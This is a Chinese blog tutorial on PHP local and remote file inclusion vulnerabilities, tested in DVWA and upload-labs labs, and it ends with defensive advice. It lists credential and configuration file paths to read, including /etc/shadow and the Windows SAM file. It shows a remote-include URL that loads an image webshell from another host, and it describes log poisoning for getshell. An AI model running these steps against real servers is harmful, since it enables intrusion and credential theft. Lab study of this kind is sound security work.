当前位置: 首页 > web >正文

文件包含学习总结

目录

漏洞简介

漏洞原理

漏洞分类

漏洞防御


漏洞简介

  • 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

漏洞原理

  • 在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。

漏洞分类

  • 本地文件包含

    • 只能包含本地服务器上存在的文件。

      • 用户对输入可控且无过滤

      • 可以利用相对路径或绝对路径读取系统敏感文件

  • 远程文件包含

    • 包含远程服务器上的文件。

      需要php.ini开启了allow_url_fopen和allow_url_include的配置。包含的文件是第三方服务器(比如:攻击者自己搭建的一个Web服务器)的文件。

      • allow_url_fopen=On (默认为On) 规定是否允许从远程服务器或者网站检索数据

      • allow_url_include=On (php5.2之后默认为Off) 规定是否允许include/require远程文件

    • 区别:

      • 本地文件包含就是通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤,允许遍历目录的字符注入浏览器并执行

      • 远程文件包含就是允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本并对外开放一个web服务,以确保该脚本能被访问到。此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击,甚至在目标服务器上执行代码。

      • 本地文件包含与远程文件有着相同的原理,但前者只能包含服务器上存在的文件,而后者可以包含远程服务器上的文件。

    • 文件包含函数:

      require() include()
      require_once() include_once()
      include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
      而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次。适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
    • 可能出现文件包含的点:url中出现:?page=xxx file=xxx ?home=xxx,并且后面的参数值是一个路径或者文件,可以配合文件上传进行验证

    • 常见的敏感信息路径:

      • windows:
        c:\boot.ini // 查看系统版本 c:\windows\system32\inetsrc\MetaBase.xml  //IIS配置文件 c:\windows\repair\sam //存储windows系统初次安装的密码 c:\programFiles\mysql\my.ini //MYSQL root密码
        c:\windows\php.ini // php 配置信息
      • linux:
        /etc/passwd // 账户信息
        ​
        /etc/shadow // 账户密码文件
        ​
        /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
        /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
        ​
        /usr/local/app/php5/lib/php.ini // PHP相关配置
        ​
        /etc/httpd/conf/httpd.conf // Apache配置文件
        ​
        /etc/my.conf // mysql 配置文件
    • 远程文件包含演示:这里使用的是dvwa和upload-labs结合,让upload-labs文件包含漏洞模块成功包含dvwa文件上传的图片马.(此处注意包含的远程文件不能为php文件,否则不是在upload-labs机器上执行,而是在原文件所在服务器上执行--源文件服务器可以解析PHP文件的情况下.)

      • 首先在dvwa中上传图片马:

      • 使用upload-labs中的文件包含:http://127.0.0.1/upload_labs/include.php?file=http://192.168.111.144/hackable/uploads/fish.png发现成功包含:

        使用蚁剑连接成功:

    • 通过文件包含getshell:

      • 中间件日志包含:

        • 和之前文件包含类似,这里我们需要知道日志的地址,同时让php代码加载到日志中,并且让文件包含文件能够包含得到日志文件,这样就可以getshell

        • 这里的实例仍然使用dvwa:首先赋予权限,确保web服务器可以访问的到日志文件:chmod 755 /var/log/apache2 chmod 644 access.log 然后使用dvwa访问一段php代码,这里使用phpinfo做演示,注意,url中直接发送会使得特殊符号编码,于是抓包修改,这里我们可以在日志文件中发现我们写入的php代码:

        • 在通过文件包含就可以执行,http://192.168.111.144/vulnerabilities/fi/?page=/var/log/apache2/access.log后续只需将phpinfo改为一句话木马即可getshell

      • 配合文件上传getshell:在upload-labs中已经进行演示,主要是利用文件上传图片马,然后通过文件包含使得文件被当做php文件解析,最后蚁剑连接

漏洞防御

    1. 设置白名单(文件名可以确定)

    2. 过滤危险字符(判断文件名称是否为合法的php文件)

    3. 设置文件目录权限(对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录)

    4. 关闭危险配置(无需情况下设置allow_url_include和allow_url_fopen为关闭)

    5. 严格检查include类的文件包含函数中的参数是否外界可控

http://www.xdnf.cn/news/16368.html

相关文章:

  • 滑动窗口-7
  • 主要分布在背侧海马体(dHPC)CA1区域(dCA1)的时空联合细胞对NLP中的深层语义分析的积极影响和启示
  • ClickHouse 常用的使用场景
  • AWS WebRTC:我们的业务模式
  • [python][flask]flask蓝图使用方法
  • 【软件工程】构建软件合规防护网:双阶段检查机制的实践之道
  • Android studio自带的Android模拟器都是x86架构的吗,需要把arm架构的app翻译成x86指令?
  • FP16 和 BF16
  • 函数-变量的作用域和生命周期
  • 老题新解|奇偶数判断
  • 从Taro的Dialog.open出发,学习远程控制组件之【事件驱动】
  • OAuth 2.0 安全最佳实践 (RFC 9700) password 授权类型已经不推荐使用了,将在计划中移除
  • JS与Go:编程语言双星的碰撞与共生
  • vue2+node+express+MongoDB项目安装启动启动
  • go语言基础教程:【2】基础语法:基本数据类型(整形和浮点型)
  • js实现宫格布局图片放大交互动画
  • android app适配Android 15可以在Android studio自带的模拟器上进行吗,还是说必须在真机上进行
  • 无人机视觉模块技术解析
  • 【LeetCode Solutions】LeetCode 热题 100 题解(1 ~ 5)
  • [CSS]让overflow不用按shift可以滚轮水平滚动(纯CSS)
  • 【数据库】AI驱动未来:电科金仓新一代数据库一体机如何重构性能边界?
  • 半相合 - 脐血联合移植
  • Kingbasepostgis 安装实践
  • Go 官方 Elasticsearch 客户端 v9 快速上手与进阶实践*
  • R 语言绘制六种精美热图:转录组数据可视化实践(基于 pheatmap 包)
  • Redis替代方案:腾讯云TDSQL-C内存优化实战,TPS秒上涨
  • 大语言模型生成式人工智能企业应用
  • 水库大坝安全监测的主要内容
  • 微算法科技(NASDAQ:MLGO)采用分布式哈希表优化区块链索引结构,提高区块链检索效率
  • mac下 vscode 运行 c++无法弹出窗口